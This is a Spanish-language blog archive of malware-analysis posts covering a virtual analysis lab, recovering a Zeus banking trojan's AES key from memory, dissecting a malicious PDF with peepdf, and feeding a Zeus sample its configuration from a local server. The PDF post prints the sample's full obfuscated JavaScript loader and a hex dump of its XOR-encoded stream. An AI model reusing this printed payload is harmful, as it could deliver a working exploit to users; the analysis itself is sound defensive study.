Tag Archive | malware

Laboratorio de malware

Llevo muchos días preparando dos presentaciones relacionadas con temas de malware, cuando te dedicas a hacer ingeniería inversa, haciendo análisis estático de malware o símplemente realizar un análisis dinámico del sample, requiere, o al menos es importante, el tener un laboratorio montado para realizar estas pruebas. Haré una serie de artículos de como montar un laboratorio de malware para el análisis de muestras y que herramientas se pueden usar, tanto en análisis estático como en análisis dinámico.

Lo mejor para realizar estas pruebas es montar un escenario virtualizado, existen herramientas que detectan la máquina virtual y no se ejecutan pero ya lo veremos mas adelante…

Como software para montar el escenario virtual podemos usar Virtualbox o VMware, en mi caso uso VMware me conozco el software y me gusta, pero os recomiendo usar Virtualbox, es una pasada y funciona de maravilla :)

Como máquina víctima usaremos un Windows XP SP2, el tamaño de la partición debería de ser de 50GB y el Windows debería de estar sin software adicional salvo el que viene instalado y el que pondremos aquí.

No hace falta asignarle mucha memoria RAM a la máquina, pensad que será una máquina que usaremos para hacer el análisis dinámico del malware y, por lo tanmto necesitamos que sea una máquina rápida que podamos trabajar de manera cómoda.

Con VMware tenemos la facilidad de poder analizar todo el tráfico de la máquina virtual recogiendo el tráfico directamente de la tarjeta virtual de VMware.

Será muy fácil el poder hacer el análisis del tráfico de esta manera.

Es muy importante realizar el análisis del tráfico desde fuera de la máquina virtual, ya que ciertos samples de malware pueden no mostrar el tráfico real

 

Extrayendo el password AES de una configuración de Zeus


Estaba continuando con el análisis del malware en la máquina virtual del artículo que salió ayer, sobre los Fake AV, cuando al volver a infectar la máquina virtual, ya que la tengo por snapshots para conservar las herramientas que tengo instaladas para hacer más tarde el análisis estático del malware, me encontré con ciertas sorpresas.

La máquina tenía que estar totalmente limpia y me encontré con estas peticiones DNS a servidores de Rusia…

En fin miré a que dominios hacía las peticiones y todos eran C&C de un Zeus, las búsquedas me llevaron al tracker de Zeus.

Que información útil extraemos de un tracker de Zeus, pues por ejemplo la siguiente:
También encontramos información respecto a la configuración o los binarios.
Sin duda se trataba de un Zeus, además este Zeus se podía comunicar con varios C&C, porque al no encontrar respuesta del primer C&C acudía al segundo para intentar la conexión. Esta conexión se tiene que realizar para descargarse nueva configuración o hacer el envío de datos que pueda robar de la máquina infectada.
Como ya tenía la máquina infectada quise probar una nueva herramienta que había llegado a mis oídos para poder extraer el password AES que usa Zeus para cifrar el archivo de configuración.
Para entender como Zeus cifra la configuración, podemos observar la siguiente imagen:
El que nos interesa es el esquema de la derecha el que usa AES.
Para extraer el password lo que haremos será un volcado de memoria. Esto lo podemos hacer de manera muy sencilla usando win32dd.
Con win32dd hacemos el volcado de la memoria de nuestra máquina.
Ya se ha realizado el volcado de memoria, lo siguiente con find AES es comprobar si podemos recuperar de la memoria las claves.
Ejecutamos find AES
Perfecto hemos podido recuperar de la memoria las claves usadas por Zeus para cifrar el archivo de configuración.

Análisis de PDF malicioso con peepdf

Hola!

Muy buenas a todos/as!

No es extraño si explico por aquí que existen PDF maliciosos ¿no?

Ni tampoco creo que os extrañe si os comento que estos PDF es posible que vengan de un Exploit kit, estos Exploit kit algunos mas famosos por ejemplo los de Blackhole o Phoneix Exploit kit pueden contener PDF que se distribuyen a los usuarios mediante re direcciones en web de phishing o por correo electrónico. En fin, en todas aquellas maneras que el criminal invierta tiempo y dinero en montar la infraestructura de distribución de Malware.

Estos PDF pueden contener distintas formas de explotación a los usuarios, desde un exploit para Adobe, por ejemplo que no sería raro :P , hasta código malicioso propiamente dicho.

Para el análisis de malware usaremos la herramienta peepdf, del gran Jose Miguel Esparza. Josemi además presento su herramienta en la Blackhat hace muy poco ;) .

Yo, en mi caso usaré peepdf desde Remnux, así que me dirijo al directorio donde está instalado y actualizo peepdf a la última versión:

cd /usr/local/peepdf | python peepdf.py -u

Con esto tendríamos la última versión de peepdf disponible, si no siempre podemos obtenerla de Code Google en el siguiente enlace

peepdf Code Google

Una vez ya tenemos la última versión, abrimos el PDF con peepdf

peepdf -i caca.pdf
File: caca.pdf
MD5: d7ed4d0dbe6f088dc8e120d0257434a6
SHA1: 9576e13c01b1179740da457244c8624e51867727
Size: 13247 bytes
Version: 1.6
Binary: True
Linearized: False
Encrypted: False
Updates: 0
Objects: 8
Streams: 1
Comments: 0
Errors: 0

Version 0:
Catalog: 23
Info: No
Objects (8): [1, 5, 8, 18, 19, 20, 21, 23]
Streams (1): [8]
Encoded (0): []
Objects with JS code (1): [8]
Suspicious elements:
/AcroForm: [23]
/EmbeddedFile: [8]

Esta es la información que nos arroja peepdf nada mas, abrir el PDF. Tenemos mucha información útil, primero por ejemplo, para saber si el PDF es malicioso o ya hay información sobre él.

Cuando consultamos el PDF, nos encontramos con el reporte de Virus Total

Ya tenemos claro que el PDF es malicioso, ahora podemos consultar la estructura lógica del PDF

PPDF> tree

/Catalog (23)
dictionary (21)
dictionary (20)
dictionary (19)
dictionary (20)
/Annot (18)
dictionary (19)
/Page (1)
Unknown (3)
/Pages (5)
/Page (1)
stream (8)
/Pages (5)

Podemos analizar el código Javascript del PDF en cuestión

PPDF> js_analyse object 8

Javascript code:

==================== Original Javascript code ====================

<xdp:xdp xmlns:xdp=”http://ns.adobe.com/xdp/”>

<config><present>
<pdf><interactive>1</interactive>
<version test2=’asd’>
1.6</version>
<asd/>
</pdf>
</present></config><template xmlns=’http://www.xfa.org/schema/xfa-template/2.5/’>
<subform
name=”ergfb435tb43t”><asd/>
<subform name=”v236536b346″>
<field qwe=”213123″ name=”qwe123″ nam=”123″><event asd=’wqr’ activity=’initialize’ fwq=’2412′>
<script contentTyp=’application’
contentType=’application/x-javascript’>

s=new String();
try
{
a=”&amp;zP|var _l1=’4c206f5783eb9d;pnwAy()utio{.VsSg’,h&lt;+I}*/DkR%x-W[]mCj^?:LBKQYEUqFM”;
e=a.eval;
b=new Array(4,5,6,7,8,9,10,11,12,13,14,15,16,17,16,16,18,16,19,10,20,21,16,13,5,22,14,15,16,17,16,16,18,16,18,17,22,21,16,13,5,5,22,23,24,21,16,13,5,22,16,15,16,21,15,13,5,17,23,15,18,21,16,13,5,13,10,13,10,13,10,13,10,15,17,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,10,15,22,25,21,16,13,5,17,13,15,16,17,16,16,18,16,16,16,13,16,16,16,16,13,10,13,10,13,10,13,10,13,10,13,10,13,10,13,10,17,17,21,22,23,13,18,14,18,14,21,19,23,13,20,19,22,13,23,25,19,18,22,22,14,16,17,13,21,24,13,16,22,16,21,24,13,16,16,14,21,24,20,16,10,14,19,17,21,24,20,17,16,21,22,22,26,24,17,17,21,24,19,23,22,14,16,22,20,13,22,22,15,14,21,10,23,23,10,19,10,16,18,18,18,18,24,21,21,24,13,16,22,16,14,22,13,17,22,25,16,17,20,19,18,24,21,20,22,13,15,13,21,19,23,13,20,19,19,10,23,25,23,24,13,14,19,10,19,17,21,24,20,19,22,14,21,24,20,13,22,19,20,21,16,22,18,19,19,17,21,24,20,17,15,16,16,22,18,19,22,22,14,25,13,25,13,10,18,14,5,26,16,22,14,19,22,22,26,24,16,18,24,23,10,16,22,21,18,15,20,13,16,21,14,10,14,24,16,26,16,22,26,5,13,16,23,24,18,10,22,24,10,18,20,19,23,17,19,23,21,24,19,23,15,13,16,22,26,26,17,17,21,24,16,14,13,24,21,26,13,17,23,14,18,18,19,13,15,13,16,14,21,24,26,21,16,22,26,26,21,24,16,13,21,24,16,22,14,19,5,24,19,23,19,25,14,22,23,24,19,22,5,26,21,24,17,21,15,16,21,16,20,26,16,14,22,22,20,13,16,22,25,17,23,24,18,22,21,24,17,21,16,21,21,24,18,20,17,5,16,19,19,25,23,21,25,21,18,18,18,18,18,18,23,15,18,25,23,21,16,16,16,16,16,16,16,16,19,21,19,16,17,5,13,16,17,21,18,18,16,16,16,16,16,16,19,16,21,22,14,16,10,25,19,16,19,19,21,24,23,14,21,24,19,23,10,16,21,22,14,22,16,19,18,18,23,22,17,21,17,18,17,23,16,16,16,16,17,21,20,19,20,15,17,14,17,26,19,13,18,18,10,17,21,22,14,13,16,21,21,24,23,21,23,21,17,10,18,18,18,18,18,18,23,24,16,15,23,24,20,15,21,10,23,14,16,13,16,10,16,16,16,16,21,26,19,14,15,13,16,14,14,20,16,13,15,13,20,15,17,19,17,20,20,22,14,20,13,13,15,13,16,13,20,17,20,15,22,22,22,15,14,20,13,13,15,13,16,21,15,16,15,26,20,22,15,16,19,22,17,21,18,21,16,16,16,16,16,16,18,18,19,17,16,14,21,24,23,21,22,22,14,25,19,10,14,20,13,13,10,26,16,16,20,20,20,16,17,15,20,13,14,20,13,13,10,26,16,19,15,23,17,13,17,14,17,14,14,17,13,13,10,26,16,25,16,16,19,25,21,5,14,10,16,13,22,16,21,21,13,13,10,26,16,13,13,10,19,10,17,5,16,16,17,5,16,16,19,22,19,20,17,5,16,16,18,18,19,17,10,13,21,19,14,16,20,19,10,17,17,5,16,16,19,22,18,18,19,17,16,13,17,5,16,16,21,22,23,24,16,14,19,22,18,18,19,17,16,13,21,22,14,22,16,14,23,24,16,15,23,24,10,22,13,20,21,16,22,18,16,16,20,19,18,5,13,20,21,16,22,18,16,16,20,19,14,13,17,5,16,16,17,5,18,23,18,18,19,17,16,21,23,21,25,14,18,23,18,18,18,18,21,23,13,23,16,23,23,14,25,21,18,23,21,5,16,23,21,25,17,18,16,10,24,26,22,22,14,5,21,5,19,24,10,24,14,17,13,17,20,25,22,17,10,5,15,18,20,16,17,21,20,13,20,13,20,16,22,5,15,18,15,18,20,21,20,22,20,13,20,15,17,25,17,18,17,24,17,19,17,23,17,19,17,15,17,18,17,14,17,19,17,19,17,18,17,13,17,20,17,18,17,23,20,22,15,23,20,15,20,19,22,5,22,21,22,16,22,21,22,16,15,18,17,25,17,26,17,10,17,20,17,19,20,22,15,18,17,5,20,20,15,23,20,16,17,21,20,16,22,18,17,25,22,26,22,21,16,16,16,16,12,27,4,5,6,7,8,9,15,11,12,13,14,15,16,17,16,16,18,5,19,17,22,21,16,13,5,22,14,15,16,17,16,16,18,25,17,15,10,21,16,13,5,25,16,10,18,21,16,13,5,22,16,25,16,21,13,13,5,20,26,20,23,21,16,13,5,13,10,13,10,13,10,13,10,15,17,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,20,10,21,21,21,16,13,5,17,13,15,16,17,16,16,18,16,16,16,13,16,16,16,16,13,10,13,10,13,10,13,10,13,10,13,10,13,10,13,10,17,17,21,22,23,13,18,14,18,14,21,19,23,13,20,19,22,13,23,25,19,18,22,22,14,16,17,13,21,24,13,16,22,16,21,24,13,16,16,14,21,24,20,16,10,14,19,17,21,24,20,17,16,21,22,22,26,24,17,17,21,24,19,23,22,14,16,22,20,13,22,22,15,14,21,10,23,23,10,19,10,16,18,18,18,18,24,21,21,24,13,16,22,16,14,22,13,17,22,25,16,17,20,19,18,24,21,20,22,13,15,13,21,19,23,13,20,19,19,10,23,25,23,24,13,14,19,10,19,17,21,24,20,19,22,14,21,24,20,13,22,19,20,21,16,22,18,19,19,17,21,24,20,17,15,16,16,22,18,19,22,22,14,25,13,25,13,10,18,14,5,26,16,22,14,19,22,22,26,24,16,18,24,23,10,16,22,21,18,15,20,13,16,21,14,10,14,24,16,26,16,22,26,5,13,16,23,24,18,10,22,24,10,18,20,19,23,17,19,23,21,24,19,23,15,13,16,22,26,26,17,17,21,24,16,14,13,24,21,26,13,17,23,14,18,18,19,13,15,13,16,14,21,24,26,21,16,22,26,26,21,24,16,13,21,24,16,22,14,19,5,24,19,23,19,25,14,22,23,24,19,22,5,26,21,24,17,21,15,16,21,16,20,26,16,14,22,22,20,13,16,22,25,17,23,24,18,22,21,24,17,21,16,21,21,24,18,20,17,5,16,19,19,25,23,21,25,21,18,18,18,18,18,18,23,15,18,25,23,21,16,16,16,16,16,16,16,16,19,21,19,16,17,5,13,16,17,21,18,18,16,16,16,16,16,16,19,16,21,22,14,16,10,25,19,16,19,19,21,24,23,14,21,24,19,23,10,16,21,22,14,22,16,19,18,18,23,22,17,21,17,18,17,23,16,16,16,16,17,21,20,19,20,15,17,14,17,26,19,13,18,18,10,17,21,22,14,13,16,21,21,24,23,21,23,21,17,10,18,18,18,18,18,18,23,24,16,15,23,24,20,15,21,10,23,14,16,13,16,10,16,16,16,16,21,26,19,14,15,13,16,14,14,20,16,13,15,13,20,15,17,19,17,20,20,22,14,20,13,13,15,13,16,13,20,17,20,15,22,22,22,15,14,20,13,13,15,13,16,21,15,16,15,26,20,22,15,16,19,22,17,21,18,21,16,16,16,16,16,16,18,18,19,17,16,14,21,24,23,21,22,22,14,25,19,10,14,20,13,13,10,26,16,16,20,20,20,16,17,15,20,13,14,20,13,13,10,26,16,19,15,23,17,13,17,14,17,14,14,17,13,13,10,26,16,25,16,16,19,25,21,5,14,10,16,13,22,16,21,21,13,13,10,26,16,13,13,10,19,10,17,5,16,16,17,5,16,16,19,22,19,20,17,5,16,16,18,18,19,17,10,13,21,19,14,16,20,19,10,17,17,5,16,16,19,22,18,18,19,17,16,13,17,5,16,16,21,22,23,24,16,14,19,22,18,18,19,17,16,13,21,22,14,22,16,14,23,24,16,15,23,24,10,22,13,20,21,16,22,18,16,16,20,19,18,5,13,20,21,16,22,18,16,16,20,19,14,13,17,5,16,16,17,5,18,23,18,18,19,17,16,21,23,21,25,14,18,23,18,18,18,18,21,23,13,23,16,23,23,14,25,21,18,23,21,5,16,23,21,25,17,18,16,10,24,26,22,22,14,5,21,5,19,24,10,24,14,17,13,17,20,25,22,17,10,5,15,18,20,16,17,21,20,13,20,13,20,16,22,5,15,18,15,18,20,21,20,22,20,13,20,15,17,25,17,18,17,24,17,19,17,23,17,19,17,15,17,18,17,14,17,19,17,19,17,18,17,13,17,20,17,18,17,23,20,22,15,23,20,15,20,19,22,5,22,21,22,16,22,21,22,16,15,18,17,25,17,26,17,10,17,20,17,19,20,22,15,18,17,5,20,20,15,23,20,16,17,21,20,16,22,18,17,25,22,26,22,21,16,16,16,16,12,27,8,9,22,11,5,28,28,27,8,9,13,11,29,23,30,7,31,6,6,5,32,33,34,27,18,35,29,14,36,37,38,29,7,8,9,19,33,34,39,4,5,6,7,8,9,17,11,8,9,22,40,4,37,23,30,23,6,41,23,6,42,37,38,29,40,36,38,43,36,6,37,29,44,33,34,27,8,9,17,11,8,9,17,40,6,23,28,9,5,14,23,33,12,40,12,46,12,12,34,27,30,47,37,9,23,33,8,9,17,40,9,23,29,44,36,47,48,13,34,8,9,17,49,11,12,16,12,27,6,23,36,35,6,29,7,28,5,6,42,23,50,29,36,33,8,9,17,46,10,16,34,51,18,35,29,14,36,37,38,29,7,8,9,20,33,8,9,21,46,8,9,25,34,39,30,47,37,9,23,33,8,9,21,40,9,23,29,44,36,47,52,15,48,8,9,25,34,8,9,21,49,11,8,9,21,27,6,23,36,35,6,29,7,8,9,21,40,42,35,24,42,36,6,37,29,44,33,16,46,8,9,25,53,15,34,51,18,35,29,14,36,37,38,29,7,8,50,16,33,8,50,10,34,39,8,50,10,11,35,29,23,42,14,5,28,23,33,8,50,10,34,27,6,38,36,23,54,5,55,11,8,50,10,40,9,23,29,44,36,47,52,15,27,26,5,55,56,38,36,23,11,35,29,23,42,14,5,28,23,33,12,57,35,25,16,25,16,12,34,27,42,28,6,5,32,11,8,9,20,33,26,5,55,56,38,36,23,46,16,58,15,16,16,16,59,6,38,36,23,54,5,55,34,27,9,38,58,60,47,23,23,11,8,50,10,49,42,28,6,5,32,27,9,38,58,60,47,23,23,11,8,9,20,33,9,38,58,60,47,23,23,46,19,15,13,16,25,21,34,27,18,38,6,33,37,11,16,27,7,37,7,48,7,13,16,16,27,7,37,49,49,34,8,9,13,61,37,62,11,9,38,58,60,47,23,23,40,42,35,24,42,36,6,33,16,46,9,38,58,60,47,23,23,40,9,23,29,44,36,47,59,10,34,49,26,5,55,56,38,36,23,27,51,18,35,29,14,36,37,38,29,7,8,50,15,33,8,50,10,46,9,23,29,34,39,30,47,37,9,23,33,8,50,10,40,9,23,29,44,36,47,48,9,23,29,34,8,50,10,49,11,8,50,10,27,6,23,36,35,6,29,7,8,50,10,40,42,35,24,42,36,6,37,29,44,33,16,46,9,23,29,34,51,18,35,29,14,36,37,38,29,7,8,50,22,33,8,50,10,34,39,6,23,36,11,12,12,27,18,38,6,33,37,11,16,27,37,48,8,50,10,40,9,23,29,44,36,47,27,37,49,11,15,34,39,24,11,8,50,10,40,42,35,24,42,36,6,33,37,46,15,34,27,14,11,28,5,6,42,23,50,29,36,33,24,46,10,17,34,27,6,23,36,49,11,43,36,6,37,29,44,40,18,6,38,63,64,47,5,6,64,38,26,23,33,14,34,27,51,6,23,36,35,6,29,7,6,23,36,51,18,35,29,14,36,37,38,29,7,8,65,37,10,33,8,50,10,46,8,50,13,34,39,8,50,19,11,12,12,27,18,38,6,33,8,50,17,11,16,27,8,50,17,48,8,50,10,40,9,23,29,44,36,47,27,8,50,17,49,49,34,39,8,9,25,11,8,50,13,40,9,23,29,44,36,47,27,8,50,20,11,8,50,10,40,14,47,5,6,64,38,26,23,31,36,33,8,50,17,34,27,8,50,21,11,8,50,13,40,14,47,5,6,64,38,26,23,31,36,33,8,50,17,57,8,9,25,34,27,8,50,19,49,11,43,36,6,37,29,44,40,18,6,38,63,64,47,5,6,64,38,26,23,33,8,50,20,66,8,50,21,34,27,51,6,23,36,35,6,29,7,8,50,19,51,18,35,29,14,36,37,38,29,7,8,50,25,33,8,50,17,34,39,8,65,16,11,8,50,17,40,36,38,43,36,6,37,29,44,33,10,17,34,27,8,65,10,11,8,65,16,40,9,23,29,44,36,47,27,8,50,19,11,33,8,65,10,57,15,34,67,12,16,12,49,8,65,16,68,8,65,16,27,6,23,36,35,6,29,7,8,50,19,51,18,35,29,14,36,37,38,29,7,8,65,15,33,8,50,10,34,39,8,50,19,11,12,12,27,18,38,6,33,8,50,17,11,16,27,8,50,17,48,8,50,10,40,9,23,29,44,36,47,27,8,50,17,49,11,15,34,39,8,50,19,49,11,12,57,35,12,27,8,50,19,49,11,8,50,25,33,8,50,10,40,14,47,5,6,64,38,26,23,31,36,33,8,50,17,49,10,34,34,27,8,50,19,49,11,8,50,25,33,8,50,10,40,14,47,5,6,64,38,26,23,31,36,33,8,50,17,34,34,51,6,23,36,35,6,29,7,8,50,19,51,18,35,29,14,36,37,38,29,7,8,65,22,33,34,39,8,65,13,11,8,9,19,33,34,27,37,18,33,8,65,13,48,25,16,16,16,34,39,8,65,19,11,12,38,49,35,31,43,65,44,44,44,55,28,35,69,13,70,71,53,53,53,53,53,30,31,31,31,31,70,31,31,31,31,31,31,31,31,31,31,31,31,72,31,31,31,31,31,31,31,31,18,47,5,31,43,37,31,44,73,31,25,21,74,50,70,71,12,27,8,65,17,11,8,9,10,27,8,65,20,11,8,50,22,33,8,65,17,34,51,23,9,42,23,39,8,65,19,11,12,55,70,49,31,43,65,37,72,47,74,28,25,18,38,70,71,53,53,53,53,53,30,31,31,31,31,70,31,31,31,31,31,31,31,31,31,31,31,31,72,31,31,31,31,31,31,31,31,73,58,64,31,43,37,31,44,73,31,53,18,74,13,70,71,12,27,8,65,17,11,8,9,15,27,8,65,20,11,8,50,22,33,8,65,17,34,51,8,65,21,11,12,43,75,55,76,31,54,44,44,31,31,70,70,12,27,8,65,25,11,8,50,15,33,12,72,75,77,70,12,46,10,16,25,21,13,34,27,8,9,9,16,11,12,72,72,14,31,31,31,74,54,31,31,74,31,31,31,31,30,50,31,31,31,31,72,74,54,31,31,74,31,31,31,31,70,31,31,31,31,31,30,74,54,31,31,74,31,31,31,31,70,31,31,31,31,70,44,74,54,31,31,74,31,31,31,31,70,31,31,31,31,74,72,74,74,31,31,74,31,31,31,31,50,31,31,31,31,77,30,74,74,31,31,74,31,31,31,31,30,50,31,31,31,75,31,74,54,31,78,30,31,31,31,64,43,50,31,31,31,31,31,31,31,31,31,31,78,54,31,65,53,53,53,53,53,12,27,8,9,9,10,11,8,65,21,49,8,65,25,49,8,9,9,16,49,8,65,19,27,8,9,9,15,11,8,65,37,10,33,8,65,20,46,12,12,34,27,37,18,33,8,9,9,15,40,9,23,29,44,36,47,57,15,34,8,9,9,15,49,11,35,29,23,42,14,5,28,23,33,12,57,16,16,12,34,27,8,9,9,22,11,8,65,15,33,8,9,9,15,34,27,30,37,36,47,33,39,55,68,8,9,9,22,51,34,8,50,16,33,55,34,27,76,30,23,10,15,22,40,6,5,30,41,5,9,35,23,11,8,9,9,10,51,65,10,10,65,7,11,7,5,28,28,40,28,9,35,44,50,29,42,27,4,5,6,7,65,10,15,65,11,28,5,6,42,23,50,29,36,33,5,28,28,40,4,37,23,30,23,6,41,23,6,42,37,38,29,40,36,38,43,36,6,37,29,44,33,34,40,14,47,5,6,31,36,33,16,34,34,27,18,38,6,7,33,4,5,6,7,37,11,16,27,7,37,7,48,7,65,10,10,65,40,9,23,29,44,36,47,27,7,37,49,49,34,39,37,18,7,33,65,10,10,65,61,37,62,40,29,5,63,23,11,11,12,77,38,6,63,42,12,34,39,4,5,6,7,65,10,22,65,11,65,10,10,65,61,37,62,40,4,23,6,42,37,38,29,27,51,51,37,18,7,33,33,33,65,10,15,65,11,11,21,34,0,0,33,65,10,22,65,48,21,40,15,10,34,34,7,3,3,7,33,33,65,10,15,65,11,11,25,34,0,0,33,65,10,22,65,48,25,40,22,10,34,34,34,39,8,65,22,33,34,27,51,23,9,42,23,39,51);
var hui=12/utml;
}

catch(v32vrw)
{

i=0;
while(i!=3945)
{
s=s+a[b[i]];
i=1+i;
}
k=s;
e(k);
}
</script></event>
<asd/>
<ui>
<asd/>
<imageEdit/>
</ui>
</field>
<asd/>
</subform>
</subform><Gsdg/></template>
<xfa:datasets xmlns:xfa=”http://www.xfa.org/schema/xfa-data/1.0/”>

<xfa:data><ergfb435tb43t test=”123″>
</ergfb435tb43t>
</xfa:data>
</xfa:datasets>
</xdp:xdp>

===================================================================

Es un extracto del código Javascript analizado.

Otra de las cosas útiles que podemos hacer es hacer búsquedas XOR raw dentro del PDF

Aquí podemos ver un ejemplo, buscando cmd dentro del PDF

PPDF> xor_search rawstream 8 cmd

Pattern found with the following keys: ['0x2f']

Offsets for key ’0x2f’: [596]

Podemos ver donde exactamente ha encontrado el patrón. Así que mostraremos directamente.

PPDF> xor_search r rawstream 8 0x2f

25 13 57 4b 5f 15 57 4b 5f 0f 57 42 43 41 5c 15   |%.WK_.WK_.WBCA\.|
57 4b 5f 12 0d 47 5b 5b 5f 15 00 00 41 5c 01 4e   |WK_..G[[_...A\.N|
4b 40 4d 4a 01 4c 40 42 00 57 4b 5f 00 0d 11 25   |K@MJ.L@B.WK_...%|
25 22 25 13 4c 40 41 49 46 48 11 13 5f 5d 4a 5c   |%"%.L@AIFH.._]J\|
4a 41 5b 11 22 25 13 5f 4b 49 11 13 46 41 5b 4a   |JA[."%._KI..FA[J|
5d 4e 4c 5b 46 59 4a 11 1e 13 00 46 41 5b 4a 5d   |]NL[FYJ....FA[J]|
4e 4c 5b 46 59 4a 11 22 25 13 59 4a 5d 5c 46 40   |NL[FYJ."%.YJ]\F@|
41 0f 5b 4a 5c 5b 1d 12 08 4e 5c 4b 08 11 22 25   |A.[J\[...N\K.."%|
1e 01 19 13 00 59 4a 5d 5c 46 40 41 11 22 25 13   |.....YJ]\F@A.”%.|
4e 5c 4b 00 11 22 25 13 00 5f 4b 49 11 22 25 13   |N\K..”%.._KI.”%.|
00 5f 5d 4a 5c 4a 41 5b 11 13 00 4c 40 41 49 46   |._]J\JA[...L@AIF|
48 11 13 5b 4a 42 5f 43 4e 5b 4a 0f 57 42 43 41   |H..[JB_CN[J.WBCA|
5c 12 08 47 5b 5b 5f 15 00 00 58 58 58 01 57 49   |\..G[[_...XXX.WI|
4e 01 40 5d 48 00 5c 4c 47 4a 42 4e 00 57 49 4e   |N.@]H.\LGJBN.WIN|
02 5b 4a 42 5f 43 4e 5b 4a 00 1d 01 1a 00 08 11   |.[JB_CN[J.......|
22 25 13 5c 5a 4d 49 40 5d 42 0f 22 25 41 4e 42   |"%.\ZMI@]B.”%ANB|
4a 12 0d 4a 5d 48 49 4d 1b 1c 1a 5b 4d 1b 1c 5b   |J..J]HIM…[M..[|
0d 11 13 4e 5c 4b 00 11 22 25 26 26 13 5c 5a 4d   |...N\K.."%&&.\ZM|
49 40 5d 42 0f 41 4e 42 4a 12 0d 59 1d 1c 19 1a   |I@]B.ANBJ..Y….|
1c 19 4d 1c 1b 19 0d 11 22 25 26 26 13 49 46 4a   |..M…..”%&&.IFJ|
43 4b 0f 5e 58 4a 12 0d 1d 1e 1c 1e 1d 1c 0d 0f   |CK.^XJ……….|
41 4e 42 4a 12 0d 5e 58 4a 1e 1d 1c 0d 0f 41 4e   |ANBJ..^XJ…..AN|
42 12 0d 1e 1d 1c 0d 11 13 4a 59 4a 41 5b 0f 4e   |B……..JYJA[.N|
5c 4b 12 08 58 5e 5d 08 0f 4e 4c 5b 46 59 46 5b   |\K..X^]..NL[FYF[|
56 12 08 46 41 46 5b 46 4e 43 46 55 4a 08 0f 49   |V..FAF[FNCFUJ..I|
58 5e 12 08 1d 1b 1e 1d 08 11 22 25 13 5c 4c 5d   |X^........"%.\L]|
46 5f 5b 0f 4c 40 41 5b 4a 41 5b 7b 56 5f 12 08   |F_[.L@A[JA[{V_..|
4e 5f 5f 43 46 4c 4e 5b 46 40 41 08 22 25 4c 40   |N__CFLN[F@A."%L@|
41 5b 4a 41 5b 7b 56 5f 4a 12 08 4e 5f 5f 43 46   |A[JA[{V_J..N__CF|
4c 4e 5b 46 40 41 00 57 02 45 4e 59 4e 5c 4c 5d   |LN[F@A.W.ENYN\L]|
46 5f 5b 08 11 22 25 22 25 5c 12 41 4a 58 0f 7c   |F_[.."%"%\.AJX.||
5b 5d 46 41 48 07 06 14 22 25 5b 5d 56 22 25 26   |[]FAH…”%[]V”%&|
54 22 25 26 26 4e 12 0d 09 4e 42 5f 14 55 7f 53   |T”%&&N…NB_.US|
59 4e 5d 0f 70 43 1e 12 08 1b 4c 1d 1f 19 49 1a   |YN].pC….L…I.|
18 17 1c 4a 4d 16 4b 14 5f 41 58 6e 56 07 06 5a   |…JM.K._AXnV..Z|
5b 46 40 54 01 79 5c 7c 48 08 03 47 09 43 5b 14   |[F@T.y\|H..G.C[.|
04 66 52 05 00 6b 44 7d 0a 57 02 78 74 72 42 6c   |.fR..kD}.W.xtrBl|
45 71 10 15 63 6d 64 7e 76 6a 7a 5e 69 62 0d 14   |Eq..cmd~vjz^ib..|
22 25 26 26 4a 12 4e 01 4a 59 4e 43 14 22 25 26   |"%&&J.N.JYNC."%&|
26 4d 12 41 4a 58 0f 6e 5d 5d 4e 56 07 1b 03 1a   |&M.AJX.n]]NV….|

Podríamos buscar cosas como program por ejemplo.

Estos son algunos tips con los que podemos extraer información de un PDF malicioso.

Saludos

Detrás de un panel de Zeus II

Hola!

Muy buenas a todos/as!

En la entrada de ayer explicaba por encima que existen un tipo de troyanos enfocados al Home banking, estos troyanos están especializados en el robo de credenciales de los clientes para acceder a la banca electrónica, para luego cometer fraude  con esos datos robados.

Con las capturas de Wireshark, se podía observar como el troyano intentaba conectarse con el panel remoto, para descargar la configuración. Con esta configuración inyecta en Internet Explorer de manera que la página web original podría ser modificada.

Por ejemplo:

Como podemos ver el dato más impactante que pide la aplicación web se trata de La Firma electrónica del usuario, mas la clave, mas los otros datos.

La problemática viene dada cuando sin saber si este troyano afecta a tu banco, antes de que puedas hacer las pruebas el dominio, ha sido dado de baja, como resultado el troyano no podrá bajar la configuración y completar su proceso de manera correcta.

En este caso he rescatado la configuración que Zeus intentaba obtener del panel de control, así que ahora engañaremos al troyano para que obtenga la configuración, pero seremos nosotros mismos quien se la sirvamos.

En este escenario tendremos la máquina virtual y montaremos un pequeño servidor web y obligaremos al troyano a acceder a nuestro servidor, para el troyano será totalmente transparente.

Si recordáis las trazas de red en el artículo anterior:

GET /mm.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)
Host: ejemplo.ru
Cache-Control: no-cache

Editaremos el archivo hosts de la máquina infectada hacia nuestro servidor web :)

# Copyright (c) 1993-1999 Microsoft Corp.
#
# Éste es un ejemplo de archivo HOSTS usado por Microsoft TCP/IP para Windows.
#
# Este archivo contiene las asignaciones de las direcciones IP a los nombres de
# host. Cada entrada debe permanecer en una línea individual. La dirección IP
# debe ponerse en la primera columna, seguida del nombre de host correspondiente.
# La dirección IP y el nombre de host deben separarse con al menos un espacio.
#
#
# También pueden insertarse comentarios (como éste) en líneas individuales
# o a continuación del nombre de equipo indicándolos con el símbolo “#”
#
# Por ejemplo:
#
# 102.54.94.97 rhino.acme.com # servidor origen
# 38.25.63.10 x.acme.com # host cliente x

127.0.0.1 localhost
192.168.1.250 ejemplo.ru

Ahora mediante Python crearemos un pequeño servidor web desde donde serviremos la configuración:

import SimpleHTTPServer
import SocketServer

PORT = 80

Handler = SimpleHTTPServer.SimpleHTTPRequestHandler

httpd = SocketServer.TCPServer(("", PORT), Handler)

print "serving at port", PORT
httpd.serve_forever()

Para mas información se puede consultar la documentación de Python

Ahora ejecutaremos el Malware en cuestión, y observaremos como obtiene el archivo de configuración de nuestro pequeño servidor web, además de intentar enviar los datos al panel remoto.

serving at port 80
192.168.1.250 – - [15/Feb/2012 00:21:53] “GET /mm.bin HTTP/1.1″ 200 -
192.168.1.250 – - [15/Feb/2012 00:22:23] code 501, message Unsupported method (‘POST’)
